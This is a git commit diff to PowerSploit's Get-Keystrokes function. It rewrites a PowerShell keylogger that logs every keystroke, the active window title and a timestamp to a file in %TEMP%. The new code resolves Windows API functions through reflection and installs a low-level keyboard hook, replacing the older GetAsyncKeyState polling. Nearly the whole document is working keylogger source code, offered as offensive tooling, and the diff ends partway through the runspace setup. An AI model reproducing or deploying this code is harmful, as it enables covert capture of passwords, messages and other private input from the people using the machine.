new Get-Keystrokes
This commit is contained in:
Jesse Davis
parent
872d4b0eb7
commit
f66e219bd6
|
|
@ -5,7 +5,8 @@ function Get-Keystrokes {
|
||||||
Logs keys pressed, time and the active window.
|
Logs keys pressed, time and the active window.
|
||||||
|
|
||||||
PowerSploit Function: Get-Keystrokes
|
PowerSploit Function: Get-Keystrokes
|
||||||
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
||||||
|
Revised By: Jesse Davis (@secabstraction)
|
||||||
License: BSD 3-Clause
|
License: BSD 3-Clause
|
||||||
Required Dependencies: None
|
Required Dependencies: None
|
||||||
Optional Dependencies: None
|
Optional Dependencies: None
|
||||||
|
|
@ -14,248 +15,358 @@ function Get-Keystrokes {
|
||||||
|
|
||||||
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
|
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
|
||||||
|
|
||||||
.PARAMETER CollectionInterval
|
.PARAMETER Timeout
|
||||||
|
|
||||||
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
|
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
|
||||||
|
|
||||||
.PARAMETER PollingInterval
|
|
||||||
|
|
||||||
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
|
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
Get-Keystrokes -LogPath C:\key.log
|
Get-Keystrokes -LogPath C:\key.log
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
Get-Keystrokes -CollectionInterval 20
|
Get-Keystrokes -Timeout 20
|
||||||
|
|
||||||
.EXAMPLE
|
|
||||||
|
|
||||||
Get-Keystrokes -PollingInterval 35
|
|
||||||
|
|
||||||
.LINK
|
.LINK
|
||||||
|
|
||||||
http://www.obscuresec.com/
|
http://www.obscuresec.com/
|
||||||
http://www.exploit-monday.com/
|
http://www.exploit-monday.com/
|
||||||
|
https://github.com/secabstraction
|
||||||
#>
|
#>
|
||||||
[CmdletBinding()] Param (
|
[CmdletBinding()]
|
||||||
|
Param (
|
||||||
[Parameter(Position = 0)]
|
[Parameter(Position = 0)]
|
||||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
||||||
[String]
|
[String]$LogPath = "$($Env:TEMP)\key.log",
|
||||||
$LogPath = "$($Env:TEMP)\key.log",
|
|
||||||
|
|
||||||
[Parameter(Position = 1)]
|
[Parameter(Position = 1)]
|
||||||
[UInt32]
|
[Double]$Timeout,
|
||||||
$CollectionInterval,
|
|
||||||
|
|
||||||
[Parameter(Position = 2)]
|
[Parameter()]
|
||||||
[Int32]
|
[Switch]$Return
|
||||||
$PollingInterval = 40
|
|
||||||
)
|
)
|
||||||
|
|
||||||
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
||||||
|
|
||||||
Write-Verbose "Logging keystrokes to $LogPath"
|
$Script = {
|
||||||
|
Param (
|
||||||
|
[Parameter(Position = 0)]
|
||||||
|
[String]$LogPath,
|
||||||
|
|
||||||
$Initilizer = {
|
[Parameter(Position = 1)]
|
||||||
$LogPath = 'REPLACEME'
|
[Double]$Timeout
|
||||||
|
)
|
||||||
|
|
||||||
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
|
function local:Get-DelegateType {
|
||||||
|
Param (
|
||||||
|
[OutputType([Type])]
|
||||||
|
|
||||||
function KeyLog {
|
[Parameter( Position = 0)]
|
||||||
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
|
[Type[]]
|
||||||
|
$Parameters = (New-Object Type[](0)),
|
||||||
|
|
||||||
try
|
[Parameter( Position = 1 )]
|
||||||
{
|
[Type]
|
||||||
$ImportDll = [User32]
|
$ReturnType = [Void]
|
||||||
|
)
|
||||||
|
|
||||||
|
$Domain = [AppDomain]::CurrentDomain
|
||||||
|
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
|
||||||
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||||
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||||
|
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||||
|
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||||
|
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||||
|
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||||
|
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||||
|
|
||||||
|
$TypeBuilder.CreateType()
|
||||||
}
|
}
|
||||||
catch
|
function local:Get-ProcAddress {
|
||||||
{
|
Param (
|
||||||
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
|
[OutputType([IntPtr])]
|
||||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
|
||||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
|
|
||||||
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
|
|
||||||
|
|
||||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
[Parameter( Position = 0, Mandatory = $True )]
|
||||||
$FieldArray = [Reflection.FieldInfo[]] @(
|
[String]
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
|
$Module,
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
|
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
|
[Parameter( Position = 1, Mandatory = $True )]
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
|
[String]
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
|
$Procedure
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
|
|
||||||
)
|
)
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
|
# Get a reference to System.dll in the GAC
|
||||||
$FieldValueArray = [Object[]] @(
|
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||||
'GetAsyncKeyState',
|
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||||
$True,
|
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||||
$False,
|
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||||
$True,
|
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
# Get a handle to the module specified
|
||||||
)
|
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
$tmpPtr = New-Object IntPtr
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
|
# Return the address of the function
|
||||||
$FieldValueArray = [Object[]] @(
|
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||||
'GetKeyboardState',
|
|
||||||
$True,
|
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
|
|
||||||
$FieldValueArray = [Object[]] @(
|
|
||||||
'MapVirtualKey',
|
|
||||||
$False,
|
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
|
|
||||||
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
|
|
||||||
$FieldValueArray = [Object[]] @(
|
|
||||||
'ToUnicode',
|
|
||||||
$False,
|
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
|
|
||||||
$FieldValueArray = [Object[]] @(
|
|
||||||
'GetForegroundWindow',
|
|
||||||
$True,
|
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$ImportDll = $TypeBuilder.CreateType()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Start-Sleep -Milliseconds $PollingInterval
|
#region Imports
|
||||||
|
|
||||||
try
|
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
|
||||||
{
|
|
||||||
|
|
||||||
#loop through typeable characters to see which is pressed
|
# SetWindowsHookEx
|
||||||
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
|
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
|
||||||
{
|
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
|
||||||
$VirtualKey = $TypeableChar
|
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
|
||||||
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
|
|
||||||
|
|
||||||
#if the key is pressed
|
# CallNextHookEx
|
||||||
if (($KeyResult -band 0x8000) -eq 0x8000)
|
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
|
||||||
{
|
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||||
|
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
|
||||||
|
|
||||||
#check for keys not mapped by virtual keyboard
|
# UnhookWindowsHookEx
|
||||||
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
|
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
|
||||||
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
|
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
|
||||||
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
|
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
|
||||||
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
|
|
||||||
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
|
|
||||||
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
|
|
||||||
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
|
|
||||||
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
|
|
||||||
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
|
|
||||||
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
|
|
||||||
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
|
|
||||||
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
|
|
||||||
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
|
|
||||||
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
|
|
||||||
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
|
|
||||||
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
|
|
||||||
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
|
|
||||||
|
|
||||||
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
|
# PeekMessage
|
||||||
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
|
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
|
||||||
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
|
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
|
||||||
if ($TabKey) {$LogOutput += '[Tab]'}
|
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
|
||||||
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
|
|
||||||
if ($DeleteKey) {$LogOutput += '[Delete]'}
|
|
||||||
if ($EnterKey) {$LogOutput += '[Enter]'}
|
|
||||||
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
|
|
||||||
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
|
|
||||||
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
|
|
||||||
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
|
|
||||||
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
|
|
||||||
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
|
|
||||||
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
|
|
||||||
|
|
||||||
#check for capslock
|
# GetAsyncKeyState
|
||||||
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
|
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
|
||||||
|
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
|
||||||
|
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
|
||||||
|
|
||||||
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
|
# GetForegroundWindow
|
||||||
$KeyboardState = New-Object Byte[] 256
|
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
|
||||||
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
|
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
|
||||||
|
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
|
||||||
|
|
||||||
#create a stringbuilder object
|
# GetWindowText
|
||||||
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
|
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
|
||||||
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
|
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
|
||||||
|
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
|
||||||
|
|
||||||
#convert typed characters
|
# GetModuleHandle
|
||||||
if ($UnicodeKey -gt 0) {
|
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
|
||||||
$TypedCharacter = $StringBuilder.ToString()
|
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
|
||||||
$LogOutput += ('['+ $TypedCharacter +']')
|
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
|
||||||
|
|
||||||
|
#endregion Imports
|
||||||
|
|
||||||
|
'"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode
|
||||||
|
|
||||||
|
$CallbackScript = {
|
||||||
|
Param (
|
||||||
|
[Parameter()]
|
||||||
|
[Int32]$Code,
|
||||||
|
|
||||||
|
[Parameter()]
|
||||||
|
[IntPtr]$wParam,
|
||||||
|
|
||||||
|
[Parameter()]
|
||||||
|
[IntPtr]$lParam
|
||||||
|
)
|
||||||
|
|
||||||
|
$Keys = [Windows.Forms.Keys]
|
||||||
|
|
||||||
|
$MsgType = $wParam.ToInt32()
|
||||||
|
|
||||||
|
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
|
||||||
|
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
|
||||||
|
|
||||||
|
$hWindow = $GetForegroundWindow.Invoke()
|
||||||
|
|
||||||
|
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
|
||||||
|
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
|
||||||
|
else { $Shift = $false }
|
||||||
|
|
||||||
|
$Caps = [Console]::CapsLock
|
||||||
|
|
||||||
|
# Read virtual-key from buffer
|
||||||
|
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
|
||||||
|
|
||||||
|
# Parse virtual-key
|
||||||
|
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
|
||||||
|
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
|
||||||
|
else { $Key = $vKey.ToString().ToLower() }
|
||||||
|
}
|
||||||
|
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
|
||||||
|
switch ($vKey.value__) {
|
||||||
|
96 { $Key = '0' }
|
||||||
|
97 { $Key = '1' }
|
||||||
|
98 { $Key = '2' }
|
||||||
|
99 { $Key = '3' }
|
||||||
|
100 { $Key = '4' }
|
||||||
|
101 { $Key = '5' }
|
||||||
|
102 { $Key = '6' }
|
||||||
|
103 { $Key = '7' }
|
||||||
|
104 { $Key = '8' }
|
||||||
|
105 { $Key = '9' }
|
||||||
|
106 { $Key = "*" }
|
||||||
|
107 { $Key = "+" }
|
||||||
|
108 { $Key = "|" }
|
||||||
|
109 { $Key = "-" }
|
||||||
|
110 { $Key = "." }
|
||||||
|
111 { $Key = "/" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) {
|
||||||
|
if ($Shift) {
|
||||||
|
switch ($vKey.value__) { # Shiftable characters
|
||||||
|
48 { $Key = ')' }
|
||||||
|
49 { $Key = '!' }
|
||||||
|
50 { $Key = '@' }
|
||||||
|
51 { $Key = '#' }
|
||||||
|
52 { $Key = '$' }
|
||||||
|
53 { $Key = '%' }
|
||||||
|
54 { $Key = '^' }
|
||||||
|
55 { $Key = '&' }
|
||||||
|
56 { $Key = '*' }
|
||||||
|
57 { $Key = '(' }
|
||||||
|
186 { $Key = ':' }
|
||||||
|
187 { $Key = '+' }
|
||||||
|
188 { $Key = '<' }
|
||||||
|
189 { $Key = '_' }
|
||||||
|
190 { $Key = '>' }
|
||||||
|
191 { $Key = '?' }
|
||||||
|
192 { $Key = '~' }
|
||||||
|
219 { $Key = '{' }
|
||||||
|
220 { $Key = '|' }
|
||||||
|
221 { $Key = '}' }
|
||||||
|
222 { $Key = '"' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
switch ($vKey.value__) {
|
||||||
|
48 { $Key = '0' }
|
||||||
|
49 { $Key = '1' }
|
||||||
|
50 { $Key = '2' }
|
||||||
|
51 { $Key = '3' }
|
||||||
|
52 { $Key = '4' }
|
||||||
|
53 { $Key = '5' }
|
||||||
|
54 { $Key = '6' }
|
||||||
|
55 { $Key = '7' }
|
||||||
|
56 { $Key = '8' }
|
||||||
|
57 { $Key = '9' }
|
||||||
|
186 { $Key = ';' }
|
||||||
|
187 { $Key = '=' }
|
||||||
|
188 { $Key = ',' }
|
||||||
|
189 { $Key = '-' }
|
||||||
|
190 { $Key = '.' }
|
||||||
|
191 { $Key = '/' }
|
||||||
|
192 { $Key = '`' }
|
||||||
|
219 { $Key = '[' }
|
||||||
|
220 { $Key = '\' }
|
||||||
|
221 { $Key = ']' }
|
||||||
|
222 { $Key = "`'" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
switch ($vKey) {
|
||||||
|
$Keys::F1 { $Key = '<F1>' }
|
||||||
|
$Keys::F2 { $Key = '<F2>' }
|
||||||
|
$Keys::F3 { $Key = '<F3>' }
|
||||||
|
$Keys::F4 { $Key = '<F4>' }
|
||||||
|
$Keys::F5 { $Key = '<F5>' }
|
||||||
|
$Keys::F6 { $Key = '<F6>' }
|
||||||
|
$Keys::F7 { $Key = '<F7>' }
|
||||||
|
$Keys::F8 { $Key = '<F8>' }
|
||||||
|
$Keys::F9 { $Key = '<F9>' }
|
||||||
|
$Keys::F10 { $Key = '<F10>' }
|
||||||
|
$Keys::F11 { $Key = '<F11>' }
|
||||||
|
$Keys::F12 { $Key = '<F12>' }
|
||||||
|
|
||||||
|
$Keys::Snapshot { $Key = '<Print Screen>' }
|
||||||
|
$Keys::Scroll { $Key = '<Scroll Lock>' }
|
||||||
|
$Keys::Pause { $Key = '<Pause/Break>' }
|
||||||
|
$Keys::Insert { $Key = '<Insert>' }
|
||||||
|
$Keys::Home { $Key = '<Home>' }
|
||||||
|
$Keys::Delete { $Key = '<Delete>' }
|
||||||
|
$Keys::End { $Key = '<End>' }
|
||||||
|
$Keys::Prior { $Key = '<Page Up>' }
|
||||||
|
$Keys::Next { $Key = '<Page Down>' }
|
||||||
|
$Keys::Escape { $Key = '<Esc>' }
|
||||||
|
$Keys::NumLock { $Key = '<Num Lock>' }
|
||||||
|
$Keys::Capital { $Key = '<Caps Lock>' }
|
||||||
|
$Keys::Tab { $Key = '<Tab>' }
|
||||||
|
$Keys::Back { $Key = '<Backspace>' }
|
||||||
|
$Keys::Enter { $Key = '<Enter>' }
|
||||||
|
$Keys::Space { $Key = '< >' }
|
||||||
|
$Keys::Left { $Key = '<Left>' }
|
||||||
|
$Keys::Up { $Key = '<Up>' }
|
||||||
|
$Keys::Right { $Key = '<Right>' }
|
||||||
|
$Keys::Down { $Key = '<Down>' }
|
||||||
|
$Keys::LMenu { $Key = '<Alt>' }
|
||||||
|
$Keys::RMenu { $Key = '<Alt>' }
|
||||||
|
$Keys::LWin { $Key = '<Windows Key>' }
|
||||||
|
$Keys::RWin { $Key = '<Windows Key>' }
|
||||||
|
$Keys::LShiftKey { $Key = '<Shift>' }
|
||||||
|
$Keys::RShiftKey { $Key = '<Shift>' }
|
||||||
|
$Keys::LControlKey { $Key = '<Ctrl>' }
|
||||||
|
$Keys::RControlKey { $Key = '<Ctrl>' }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#get the title of the foreground window
|
# Get foreground window's title
|
||||||
$TopWindow = $ImportDll::GetForegroundWindow()
|
$Title = New-Object Text.Stringbuilder 256
|
||||||
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
|
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
|
||||||
|
|
||||||
#get the current DTG
|
# Define object properties
|
||||||
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
$Props = @{
|
||||||
|
Key = $Key
|
||||||
|
Time = [DateTime]::Now
|
||||||
|
Window = $Title.ToString()
|
||||||
|
}
|
||||||
|
|
||||||
#Create a custom object to store results
|
$obj = New-Object psobject -Property $Props
|
||||||
$ObjectProperties = @{'Key Typed' = $LogOutput;
|
|
||||||
'Time' = $TimeStamp;
|
|
||||||
'Window Title' = $WindowTitle}
|
|
||||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
|
||||||
|
|
||||||
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
||||||
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
|
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
|
||||||
|
|
||||||
#return results
|
#return results
|
||||||
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch {}
|
|
||||||
}
|
}
|
||||||
|
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
|
||||||
}
|
}
|
||||||
|
|
||||||
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
|
# Cast scriptblock as LowLevelKeyboardProc callback
|
||||||
|
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||||
|
$Callback = $CallbackScript -as $Delegate
|
||||||
|
|
||||||
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
|
# Get handle to PowerShell for hook
|
||||||
|
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
|
||||||
|
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
|
||||||
|
|
||||||
if ($PSBoundParameters['CollectionInterval'])
|
# Set WM_KEYBOARD_LL hook
|
||||||
{
|
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
|
||||||
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
|
|
||||||
|
|
||||||
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
|
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
|
||||||
Stop-Job -Name Keylogger
|
|
||||||
Unregister-Event -SourceIdentifier ElapsedAction
|
while ($true) {
|
||||||
$Sender.Stop()
|
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
|
||||||
} | Out-Null
|
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
|
||||||
|
Start-Sleep -Milliseconds 10
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$Stopwatch.Stop()
|
||||||
|
|
||||||
|
# Remove the hook
|
||||||
|
$UnhookWindowsHookEx.Invoke($Hook)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Setup KeyLogger's runspace
|
||||||
|
